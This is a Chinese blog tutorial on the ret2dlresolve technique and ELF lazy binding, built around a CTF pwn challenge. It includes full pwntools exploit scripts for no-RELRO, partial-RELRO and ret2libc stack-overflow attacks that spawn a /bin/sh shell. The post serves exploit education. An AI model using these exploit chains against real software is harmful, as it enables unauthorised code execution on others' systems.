pwntools使用第五弹——ret2dlresolve以及延迟绑定

13 篇文章 1 订阅

简介

关于ret2dlresolve利用的原理,可以参考如下博文:
https://www.freebuf.com/articles/system/170661.html

ret2dlsolve的核心原理就是利用了延迟绑定技术,linux在加载ELF可执行文件的时候,包含的动态链接文件里的符号,并不会直接把这些符号的实际地址加载到内存中,而是会使用PLT + GOT 表来实现延迟绑定,简单说就是在第一次用到动态链接文件里的符号的时候才会去寻找符号的实际位置然后保存下来,下次使用的时候就可以直接访问了,关于延迟绑定可以参考如下博客:
http://rickgray.me/2015/08/07/use-gdb-to-study-got-and-plt/
简单总结一下,延迟绑定的流程大概是:

  • 需要延迟绑定的符号信息存放在.plt节中,程序先进入到符号在plt节的内容
  • .plt节中的内容会指导程序跳转到符号在.got.plt表中的位置,在符号第一次执行时,plt表对应的内容会先跳转到符号在.got.plt中的内容,此时由于延迟绑定的存在,表中存放的地址指向的是符号在plt表中跳转到got表之后的下一句。回到plt后,会先push入栈一个relloac_arg,这个参数是符号在**.rel.plt中的地址偏移(.rel.plt+relloac_arg即可得到当前符号对应的Elf32_Rel结构体)**,然后跳转到公共plt项plt[0]。
  • plt[0]会先将got.plt[1]里存放的link_map结构体数组压入栈,然后跳转到.got.plt[2]执行_dl_runtime_resolve函数,此时_dl_runtime_resolve的两个入参都已在栈上,利用这两个参数完成延迟绑定操作
  • 执行过_dl_runtime_resolve函数后,符号的.got.plt表对应项的内容就变为了符号在动态链接库的代码的加载地址,下一次执行到相同符号时就会直接跳转到代码内容执行,这就是延迟绑定成功了

题目链接

https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/stackoverflow/ret2dlresolve/2015-xdctf-pwn200

分析

我们以上述题目作为示例来演示分析一下ret2dlsolve的利用流程,题目的解析可同步参考如下博文:
https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve/#roputil

https://blog.csdn.net/jzc020121/article/details/116312592

32位

no-relro-32

我们先分析一个最简单的示例——32位的no relro的可执行文件,对应题目目录的 32/no-relro/main_no_relro_32 文件

首先经过第一部分的学习,可以了解到延迟绑定需要用到动态链接相关的信息,这些信息在ELF格式的文件中可以通过.dynamic节来获取到,.dynamic节中存放了动态链接相关的节区的地址,可以通过访问.dynamic来获取到需要的内容所在节区的首地址,然后跳转到对应节区再获取需要的内容,.dynamic节的内容如下:

readelf -d main_no_relro_32

在这里插入图片描述
红框圈出来的两个节区,第一个是STRTAB类型的,对应的是ELF文件里的dynstr节,存放了动态链接文件的符号名的字符串;第二个是SYMTAB类型的,对应的是dynsym节,存放了动态链接符号表:

readelf -S main_no_relro_32

在这里插入图片描述

在本题中,因为没有开启relro,dynamic节是可读写的,因此我们的攻击思路为:将dynstr节的内容复制到一段可读写的内存中,然后将read字符串替换为system字符串,再把dynamic节中表示dynstr节的地址修改为我们新建的dynstr节所在的内存,这样在延迟绑定执行时获取read符号的名字时,因为是按照偏移获取,实际获取到的符号名就是system,然后调用read实际就是调用的system,然后我们把 /bin/sh 字符串写入到一段可读写内存中,把这段内存的地址作为参数传给system即可获取到shell。

为了实现上述思路,我们首先要找一段可读写的内存,使用gdb调试该程序,打开vmmap,我们发现bss段所在的内存是可读写的,因此我们可以直接把伪造的dynstr节和 /bin/sh 字符串放进bss段中:

在这里插入图片描述
在这里插入图片描述

找到可读写的内存后,我们需要分析一下dynamic节的内容,找到dynstr地址的存放位置并替换成我们需要的。linux中32位ELF文件的dynamic节每一项的值是存放在Elf32_Dyn结构体中的:

typedef struct {
    Elf32_Sword d_tag;
    union {
        Elf32_Word d_val;
        Elf32_Addr d_ptr;
    } d_un;
} Elf32_Dyn;

dynmaic节中就是存放了若干个上述结构体,因此每一项内容都会占用8字节内存,我们查看本题的dynamic节的成员:
在这里插入图片描述

发现dynstr是第9个成员,dynamic节的首地址为:0x080497c4,因此dynstr成员的首地址为:0x80497c4 + 8*8 = 0x8049804,这个地址对应的是Elf32_Dyn结构体的第一个成员,占用了4字节大小,dynstr节的地址存放在第二个成员里,地址为:0x8049804 + 4 = 0x8049808

或者直接用Ghidra分析dynamic节,可以明显看到存放dynstr节的地址的内存地址是多少:
在这里插入图片描述
拿到了bss段地址和dynamic中存放dynstr节的成员地址后,下一步就是分析溢出点和溢出值,这一步直接用Ghidra,很简单:
在这里插入图片描述
从main函数开始逐步分析,发现溢出点在vuln函数中,字符数组local_70的大小为104字节,但read函数从标准输入中读入了0x100字节,会造成溢出,结合gdb分析,可以发现读入112字节后,正好到vuln函数的返回地址处,也就是112 + addr就可以返回到addr指定的位置。

在本题,我们选择的是替换read为system,而read函数在我们构造rop链的过程中已经调用过了,因此构造好dynstr后,需要重新跳转到read函数第一次调用进入的流程,也就是重新走一次延迟绑定的流程,才能让我们的read函数绑定为system函数,因此rop链最后调用system函数的地方,不能直接返回read函数的plt地址,要返回延迟绑定流程的地址,这个地址我们直接使用gdb分析read函数第一次调用的位置可以看到:
在这里插入图片描述

第一次调用read函数,read@plt地址0x8048370会跳转到GOT表的0x80498c8地址,该地址的当前内容指向0x8048376地址,也就是延迟绑定的流程,执行完延迟绑定后,GOT地址0x80498c8里存放的值变成了read函数的实际位置:
在这里插入图片描述
因此,我们rop链如果想重新绑定read函数的地址,将其指向system函数,就不能直接返回到read@plt地址0x8048370,这样会直接跳转到read函数,而是需要返回到read函数指向延迟绑定流程的地址,也就是上面看到的0x8048376

经过上述分析我们拿到了可读写的地址、存放dynstr地址信息的成员的地址、read函数执行延迟绑定的地址0x8048376、payload的最大长度0x100以及溢出长度112,现在可以构造exp了,完整的exp如下:

from pwn import *

elf = ELF("./main_no_relro_32") # 读取待攻击的二进制文件的内容,主要是为了获取dynstr节的内容
rop = ROP("./main_no_relro_32") # 获取目标二进制文件中可利用的gadgets,构造ROP攻击链

offset = 112 # 溢出112字节后开始覆盖返回地址
rop.raw(offset*'a') # 溢出至返回地址
dynstr_addr = 0x8049804 + 4 # dynamic中存放的dynstr节地址信息的成员的地址
bss_addr = elf.bss() # bss段的起始地址,用于存放伪造的dynstr
str_addr = elf.bss() + 0x100 # 存放/bin/sh字符串的地址, dynstr的长度必须小于0x100,因为payload的长度不能超过0x100
read_addr = 0x8048376 # read函数第一次调用时,走延迟绑定的流程起始地址

rop.read(0, dynstr_addr, 4) # 调用read函数,覆盖掉dynamic中存放的dynstr节的地址,覆盖的值从标准输入读入, 长度为4字节
dynstr = elf.get_section_by_name('.dynstr').data() # 从目标文件中读取原始的dynstr节的内容
dynstr = dynstr.replace(b'read', b'system') # 将原始节中的read字符串替换为system,构造伪造的dynstr节,这里也可以选择其他用到的动态链接符号,比如write
rop.read(0, bss_addr, len(dynstr)) # 将伪造的dynstr写入到bss段, 从标准输入中获取伪造的dynstr的值
rop.read(0, str_addr, len("/bin/sh\x00")) # 将 /bin/sh 字符串写入到bss段, 从标准输入中获取字符串
rop.raw(read_addr) # 重新跳转到首次调用read函数的流程,这次使用的是伪造的dynstr, 因此执行完延迟绑定后实际调用的函数为system
rop.raw(0xdeadbeef) # 填充字符串
rop.raw(str_addr) # system函数的参数,也就是 /bin/sh 字符串的地址

assert(len(rop.chain())<=256) # rop链的长度不能大于0x100

p = process("./main_no_relro_32") # 启动目标二进制文件
p.recvuntil('Welcome to XDCTF2015~!\n') # 执行到溢出点
p.send(rop.chain()) # 发送rop链
p.send(p32(bss_addr)) # 覆盖dynstr的地址为伪造的dynstr地址
p.send(dynstr) # 写入伪造的dynstr
p.send("/bin/sh\x00") # 写入system函数使用的参数
p.interactive()

执行上述exp即可获取到shell!

partial relro

这个用例开启了部分relro(Partial RELRO),这种情况下ELF的某些节(.init_array .fini_array .jcr .dynamic .got)会变成read-only,不过存放动态链接函数引用相关信息的.got.plt节仍然是可写的

上面例子中我们采用了修改.dynamic节中记录的DYNSTR节的地址完成的攻击,而现在.dynamic节变为了read-only,这种攻击在本题中不可行了。

由于.dynamic节已经被设置为read-only,这里我们需要一个新的思路,在介绍新思路之前,需要先详细看一下延迟绑定的流程。

延迟绑定流程详解

符号完成延迟绑定的流程,我们需要关注ELF文件的六个节区——.plt、.rel.plt、.got.plt、.dynamic、.dynsym、.dynstr

符号在调用时,会先进入.plt中该符号对应的位置,每个需要重定位的符号在.plt表中的内容结构都是相似的,以read符号为例,如下:
在这里插入图片描述

.plt会先跳转到.got.plt中对应符号的位置,.got.plt在完成绑定后会存放着该符号的加载地址,但如果开启了延迟绑定,在符号第一次调用时,.got.plt中存放的是.plt的下一行push操作,参考上图,这步push入栈的参数是符号在.rel.plt表中的偏移,通过偏移+.rel.plt首地址,可以定位到符号在.rel.plt中的存放位置的首地址

在把符号在.rel.plt中的偏移push入栈后,程序跳转到公共plt,也就是plt[0],所有延迟绑定的符号在第一次执行时都会跳转到这里
在这里插入图片描述
由上图可知,plt[0]总共做了两步操作,第一步是吧.got.plt[1]中存放的link_map压入栈,第二步是跳转到.got.plt[2]执行_dl_runtime_resolve函数,在执行完第一步后,此时栈上已经保存好了_dl_runtime_resolve函数的两个参数——relic_index和link_map
_dl_runtime_resolve函数主要做了如下几步操作,完成了延迟绑定:

  • 首先用link_map访问.dynamic节,分别取出.dynstr、.dynsym、.rel.plt的地址。dynamic节中保存了符号重定位相关的节区的首地址信息,每一个节区的信息都保存在Elf32_Dyn结构体中:
    在这里插入图片描述

  • .rel.plt+参数relic_index,求出当前符号的重定位表项Elf32_Rel的指针,由上面的分析可知,read符号的relibc_index为0x8,rel.plt的首地址为0x8048324,所以read符号的Elf32_Rel指针位于0x804832c,这个地址存放的就是read符号重定位相关的信息:
    在这里插入图片描述
    32位程序中,.rel.plt节中所有的符号信息都保存在Elf32.Rel结构体中,结构体包含两个成员——r_info和r_offset

  • _dl_runtime_resolve会先把 r_info >> 8 作为.dynsym的下标(.dynsym节为一个Elf32_Sym类型的数组),求出当前函数的符号表项Elf32_Sym的指针,记作sym,由上图可知read函数得到的是0x207 >> 8 = 0x2,.dynsym的首地址为0x80481cc,所以read函数的符号信息地址为 0x80481cc + 3 * sizeof(Elf32_Sym):
    在这里插入图片描述

  • 由.dynsym中得到的结构体中的st_name成员得出符号在.dynstr节中的偏移,从而获取到符号的字符串名,.dynstr节是一个由\x00结尾的若干个字符串组成的字符串数组,由上图可知,read符号的st_name为0x27,之前分析可知.dynstr节的首地址为0x804826c,所以read符号的名字字符串所在地址为 0x804826c + 0x27 = 0x8048293:
    在这里插入图片描述

  • 在动态链接库查找上一步得到的符号名的地址,并且把地址赋值给r_offset,即GOT表,read函数在libc.so中,所以程序会在libc.so中找到名字为read的符号,并把符号地址赋值给r_offset指向的内存,r_offset中存放的是符号在.got.plt表中的地址,也就是符号plt表中的第一步jmp的地址,由上面的分析我们可以得知read符号的r_offset值为0x804a010,所以下图的内存所指向的地址会被覆盖为真正的加载地址:
    在这里插入图片描述

  • 更新完GOT表后,调转到延迟绑定的函数主体,开始执行函数

在执行完上面的_dl_runtime_resolve流程后,函数在下一次执行时,plt表的第一项jmp的地址就已经是函数的实际加载的地址了,可以直接运行了

以上就是延迟绑定的完整流程。

Partial relro下的ret2dlresolve利用的思路

回到我们的漏洞利用中,有一种思路可以用ret2libc获取到system符号的地址,然后把这个地址写入到.got.plt表(该地址可写)中read符号的地址里,这样再次出发read函数调用就可以getshell了,不过这里我们想用ret2dlresolve来做,不泄露libc的基地址完成攻击。
经过上面的分析,我们知道_dl_runtime_resolve函数的作用就是寻找指定符号的加载地址然后赋值给符号在.got.plt表中的条目中,而_dl_runtime_resolve寻找加载地址是通过**.dynstr中记录的符号的名字检索动态链接文件完成的,而符号的名字是通过st_name的偏移 + .dynstr的首地址获取的**,所以只要我们在 st_name的值 + .dynstr的首地址 这个地址处构造一个"system"字符串,就可以让_dl_runtime_resolve函数去寻找system符号的加载地址并填写到要替换的符号的GOT表项中了!

在 Partial relro情况下,.plt、.rel.plt、.dynamic、.dynsym、.dynstr都被设置为只读的,所以我们不能直接修改.dynstr中的内容,而正常情况下 st_name的值 + .dynstr的首地址 肯定是指向.dynstr节区的,所以我们要修改 st_name的值,让这个地址指向一段我们可以控制 的内存并在里面写入我们想要的符号,也就是构造一个假的.dynstr节

st_name是Elf32_Sym的成员,该结构体是_dl_runtime_resolve利用符号在.rel.plt节中的Elf32_Rel结构体中的r_info的值,从.dynsym节中获取到的,.dynsym可以看做一个Elf32_Sym结构体类型的数组(每个Elf32_Sym结构体的大小为8字节),而r_info >> 8就是数组下标,因此通过 .dynsym[r_info >> 8]就可以获取到当前符号的st_name。在当前情况下,.dynsym是不可写的,因此如果我们想修改st_name,只能是通过修改r_info的值,让**(r_info >> 8 + 1) * sizeof(Elf32_Sym)指向我们构造的字符串即可,也就是伪造一个.dynsym节**

综上,要实现re2dlresolve攻击,我们可以在bss段中依次构造rel.plt节、dynsym节、dynstr节,控制_dl_runtime_resolve函数获取到我们构造的dynstr节中指定的内容,比如system函数名,然后就可以getshell了

由于我们要在rop链中完成三段节区的构造,rop链的长度会比较,所以我们用栈迁移的技巧,将整个rop链放到bss段中执行

下面分段介绍一下exp如何写:

  • 首先加载程序,获取会用到的一些地址,然后构造第一段rop,触发栈溢出漏洞,准备在bss段中设置伪造的栈,写入第二段rop链
from pwn import *

elf = ELF('./main_partial_relro_32')

bss_addr = elf.bss() # 获取程序的bss地址
# 获取指定节的起始地址
plt0_addr = elf.get_section_by_name('.plt').header.sh_addr
dynsym_addr = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr_addr = elf.get_section_by_name('.dynstr').header.sh_addr
rel_plt_addr = elf.get_section_by_name('.rel.plt').header.sh_addr

offset = 112 # 偏移量正好覆盖到当前函数的返回地址
stack_size = 0x800 # 伪造栈的总长度
stack_base_addr = bss_addr + stack_size
rop_size = 0x100 # 第二段rop链的总大小设置为0x100字节, 第二段rop链的长度不能超过这个

# 构造第一段rop,触发栈溢出漏洞,往bss段中写入第二段rop,然后完成栈迁移动作,进入到bss段执行第二段rop
rop = ROP('./main_partial_relro_32')
rop.raw(offset * 'a')
rop.read(0, stack_base_addr , rop_size) # 从标准输入读入第二段rop链,保存在bss段中
rop.migrate(stack_base_addr) # 使用migrate完成栈迁移操作,esp指向伪造的栈上

p = process('./main_partial_relro_32') # 运行程序
p.recv()
p.send(rop.chain()) # 将第一段rop链发送给程序, 触发栈溢出漏洞, 等待读入第二段rop链
  • 在BSS段中构造我们攻击用的栈结构,经过上面的分析,我们的思路是构造.rel.plt .dynsym .dynstr节的内容,让_dl_runtime_reslove函数绑定system函数,调用system("/bin/sh")完成getshell,构造完成的栈应该如下图所示:
    在这里插入图片描述

    注意!!!!!!!
    栈的生长方向为高地址到低地址,bss段的生长方向为低地址到高地址,esp寄存器的变化方向在上图中是从上到下的,所以伪造栈的构造要符合栈的生长方向。

    结合上面的栈示意图,讲解一下第二段rop链的构成:

    • plt0是跳转到公共PLT表项,执行延迟绑定的流程
    • 在正常延迟绑定的调用流程,在调用公共PLT之前,会先push一个reloc_arg到栈上作为函数_dl_runtime_resolve函数的参数,结合栈的生长方向,plt0下面需要紧跟一个伪造的reloc_arg参数,并且 reloc_arg + .rel.plt起始地址 应执向我们构造的.rel.plt节,也就是说 reloc_arg + rel_plt_addr = stack_base_addr + offset,所以要想得到reloc_arg的值就需要计算offset的值,结合上面的栈分步图,伪造的.rel.plt节相对于伪造栈的开头偏移了6 * 4 = 24 字节,所以reloc_arg = stack_base_addr + 24 - rel_plt_addr
    • 填入延迟绑定执行完成后需要,system函数需要的参数,这里其实只用一个参数即可,不过由于我们是把system函数存放到了write函数的GOT表项中,为了跟write函数的参数数量保持一致,填入了两个废数据
    • 伪造.rel.plt节的内容,r_offset的值为write函数的GOT表地址,用于存放system函数的加载地址,r_info的值比较关键,r_info >> 8得到的值是.dynsym节的数组下标dynsym_index,我们需要构造r_info,最终指向我们伪造的.dynsym节从而控制st_name成员,我们可以通过先计算,dynsym节的位置再反推r_info的值——r_info = dynsym_index << 8 + 0x7
    • 伪造.dynsym节的内容,.dynsym节包含了动态链接符号表。ELF32_Sym[dynsym_index]中的dynsym_index对应着r_info >> 8的值。
      利用dynsym的起始地址dynsym_addr来表示数组地址,dynsym_addr + sizeof(Elf32_Sym)dynsym_index,sizeof(Elf32_Sym) = 16,所以_dl_runtime_resolve寻找dynsym节的成员是16字节16字节的一块块找的,因此伪造的.dynsym节的地址fake_dynsym_addr,与.dynsym起始地址之间的距离要能被16整除*,所以构造.dynsym节之前需要填充一些垃圾数据来实现这个要求。
    # 伪造的dynsym节的地址如下,len(rop.chain())为已经填入的rop链的长度,结合上面的栈空间布局可知 len(rop.chain()) = stack_base_addr + 6 * 4 + sizeof(Elf32_Rel) = stack_base_addr + 32
    fake_dynsym_addr = len(rop.chain()) + offset =stack_base_addr + 32 + offset 
    # dynsym的数据索引值如下
    dynsym_index = (fake_dynsym_addr  - dynsym_addr) / 16 
    

    我们要保证len(rop.chain()) + offset - dynsym_addr 能被16整除,那么offset = 16 - ((len(rop.chain())-dynsym_addr)%16),这就是需要填充的垃圾数据的长度

    至此我们就获取到了伪造的dynsym节的起始地址:fake_dynsym_addr = stack_base_addr + 32 + ( 16 - (stack_base_addr + 32-dynsym_addr)%16))
    获取到该伪造的节的数组索引为**dynsym_index = (fake_dynsym_addr - dynsym_addr) / 16 **
    所以,r_info = (dynsym_index<<8)+0x7

    • 至此,我们已经伪造好了.rel.plt中两个成员的值,确定了伪造的.dynsym的地址,下一步需要往.dynsym中添加伪造数据,我们的目的是让dynsym的Elf32_Sym结构体的第一个成员st_name指向我们构造的system字符串,剩下三个成员与write函数的保持一致即可 0x0 0x0 0x12:
      在这里插入图片描述

    st_name是存放的偏移量,dynstr_addr + st_name 得到的地址就是获取字符串的地址,结合上面的栈布局图,dynstr字符串存放的地址是在dynsym结构体填充完之后,因此st_name = fake_dynsym_addr + sizeof(Elf32_Sym) - dynstr_addr = ake_dynsym_addr + 16 - dynstr_addr

    • 最后把/bin/sh字符串填入,把这个地址作为system函数的参数填入即可

第二段ROP的EXP脚本内容如下:

# 构造第二段rop,我们要在这段rop中完成对system函数的延迟绑定,并调用system函数实现getshell,同时还要在伪造的栈完成.rel.plt .dynstr .dynsym节的伪造,这些延迟绑定需要的依赖
rop = ROP('./main_partial_relro_32')
'''
进入到公共PLT,调用_dl_runtime_reslove函数,执行延迟绑定流程
'''
rop.raw(plt0_addr) # 跳转到公共plt表项,开始执行延迟绑定流程

'''
构造reloc_args参数
'''
reloc_args = stack_base_addr + 24 - rel_plt_addr
rop.raw(reloc_args) # 填入我们构造好的.rel.plt节的地址偏移,指向我们构造的节区
rop.raw('aaaa') # 延迟绑定执行完成后,执行绑定的system函数的返回地址,用不到,直接填垃圾数据

'''
参考上面的栈空间布局图,由于.rel.plt和.dynsym节之间有填充字符,所以我们计算bin_str字符串和.dynstr字符串的地址的时候需要预先设计好.rel.plt和.dynsym节的内容,尤其是要先计算出.rel.plt和.dynsym节之间的填充字符长度
'''

'''
构造.dynsym节的内容
'''
align = 16 - ((stack_base_addr + 24 + 8 - dynsym_addr) % 16
fake_dynsym_addr = stack_base_addr + 24 + 8 + align
dynsym_index = (fake_dynsym_addr - dynsym_addr) / 16
st_name = fake_dynsym_addr + 16 - dynstr_addr # 地址偏移量, 加上.dynstr的起始地址即可获取system字符串的地址
# 下面三个值都是来自于write符号在.dynsym中的值
st_value = 0
st_size = 0
st_info = 0x12

'''
构造.rel.plt节的内容
'''
r_offset = elf.got['write'] # 获取write函数的got表地址,用于存放system函数的地址
r_info = (dynsym_index << 8) + 0x7

'''
构造system函数的参数
因为我们是利用延迟绑定,把system函数的地址记录在了GOT表中存放write符号的位置,所以栈上需要放置三个参数,但其实只用到了一个参数,所以填充两个垃圾数据保持参数数量一致
'''
bin_addr = stack_base_addr + 24 + 8 + align + 16 + 4 # 结合上图,计算获得bin字符串的存放地址
rop.raw(bin_addr)
rop.raw('aaaa')
rop.raw('aaaa')

# 填入伪造的.rel.plt节的内容
rop.raw(r_offset)
rop.raw(r_info)

# 填入伪造的dynsym节的内容
rop.raw(align * 'a') # 填入垃圾数据,对齐地址
rop.raw(st_name)
rop.raw(st_value)
rop.raw(st_size)
rop.raw(st_info)

# 填入伪造的dynstr内容
rop.raw('system\x00')
# 填入bin字符串,用作system函数的参数
rop.raw('/bin/sh\x00')
# 填充rop链长度至0x100
rop.raw((100 - len(rop.chain())) * 'a')

# 将第二段rop链写入
p.send(rop.chain())
p.interactive()

遇到的坑!!

在ubuntu 21.04运行32位的题目时,bss中伪造的栈的大小如果是0x800,会出现段错误,也就是 fake_stack_addr = bss_addr + 0x800 的时候,exp不能攻击成功,使用gdb在第二段rop发送前使用pwntools的gdb.attach来进行调试,发现段错误发生在下图位置:
在这里插入图片描述
而段错误的原因是因为ecx + 4的地址0xf7f11434是一个无效地址,查看vmmap并没有该地址,而控制ecx的变量为EDI寄存器中的值,edi中的值为 r_info >> 8,分析汇编代码可知:

ecx = (*(gun_version_addr + 2 * (r_info >> 8)) << 4) + $eax + 0x174

所以我们要想办法让ecx + 4落进一个合法的地址,关键是控制r_info的值,结合上面脚本的内容,r_info的值是与bss中伪造的栈的地址直接相关的,所以最简单的办法就是抬高伪造栈的大小,比如从0x800变成0x900,这样就不会进入到非法内存了:

在这里插入图片描述

full relro

开启了完整的relro保护后,程序中导入的函数地址会在程序开始执行之前被解析完毕,因此 GOT 表中 link_map 以及 dl_runtime_resolve 函数地址在程序执行的过程中不会被用到。故而,GOT 表中的这两个地址均为 0,整个GOT表映射为只读的,因此上面的方法都不能使用了。不过bss段是可读写的,程序中也有现成的read write函数可以使用,因此我们可以使用如下思路完成getshell

ret2libc攻击

其实,如果假设libc是使用的标准发行版linux里的版本,使用libc-dabase可以获取到libc.so文件,那么这个题其实是可以用ret2libc来完成攻击的。

经过分析,题目中的二进制程序使用了read、write函数,bss段是可读写的,因此有如下思路:

  • 使用write函数将GOT表中存放的已经调用过的libc提供的函数的地址泄露到标准输出,比如可以输出read的地址(因为题目是通过read读入payload的,payload中再调用write泄露出来的就是read函数加载的真实地址了)
  • 使用泄露出来的程序加载的libc里的函数的地址的后12bit(最后三个16进制数),对比libc.so里同名函数的偏移地址的后12bit,结合libc-database我们可以确定使用的libc的版本,加载地址-偏移地址,就可以得到libc加载的基地址
  • 找到libc.so里system函数的偏移地址,使用基地址+偏移地址,我们就可以得到system函数的加载地址,将/bin/sh字符串写入到bss段(也可直接使用libc中的字符串),然后返回system函数的加载地址,即可得到shell

下面是完整的exp实现:

from pwn import *

elf = ELF("./main_partial_relro_32")
write_plt = elf.plt['write'] # 获取elf文件中write函数的plt地址
read_plt = elf.plt['read'] # 获取elf文件中read函数的plt地址
read_got = elf.got['read'] # 获取elf文件中read函数的got地址,在read函数被调用一次后,这个地址里存放的就是read函数的加载地址
main_sym = elf.symbols['main'] # 获取main函数的地址,用于在返回main函数输入下一段payload
bss_addr = elf.bss() # 获取bss段的起始地址,用于存放/bin/sh字符串

# 我是直接在本地测试的,因此直接用的系统本地的libc,下面两个值是查询本地libc获得的偏移地址,实际环境下需要用libc-database来查询获取
read_offset = 0x000f6f70
system_offset = 0x00045e4

p = process("./main_partial_relro_32")
p.recvuntil(b'~!\n')
# payload1使用write函数读取got表中read函数的真实地址,然后返回到main函数
payload1 = b'a' * 112 + p32(write_plt) + p32(main_sym) + p32(1) + p32(read_got) + p32(4) 
p.send(payload1)
read_addr = p.recv(4) # 获取read函数的真实地址
libc_base = u32(read_addr) - read_offset # 获取libc在内存中加载的基地址
system_addr = libc_base + system_offset # 获取system函数的真实地址
p.recvuntil(b'~!\n')

# payload2使用read函数,从标准输入中读取/bin/sh字符串,写入到bss段, 然后返回main函数
payload2 = b'a' * 112 + p32(read_plt) + p32(main_sym) + p32(0) + p32(bss_addr) + p32(len(b"/bin/sh\x00"))
p.sendline(payload2)
sleep(1) # 如果直接send可能会导致接收不到/bin/sh字符串
p.sendline('/bin/sh')
p.recv()

# payload3调用system函数,获取shell
payload3 = b'a' * 112 + p32(system_addr) + p32(0xdeadbeef) + p32(bss_addr)
p.send(payload3)
p.interactive()
  • 1
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值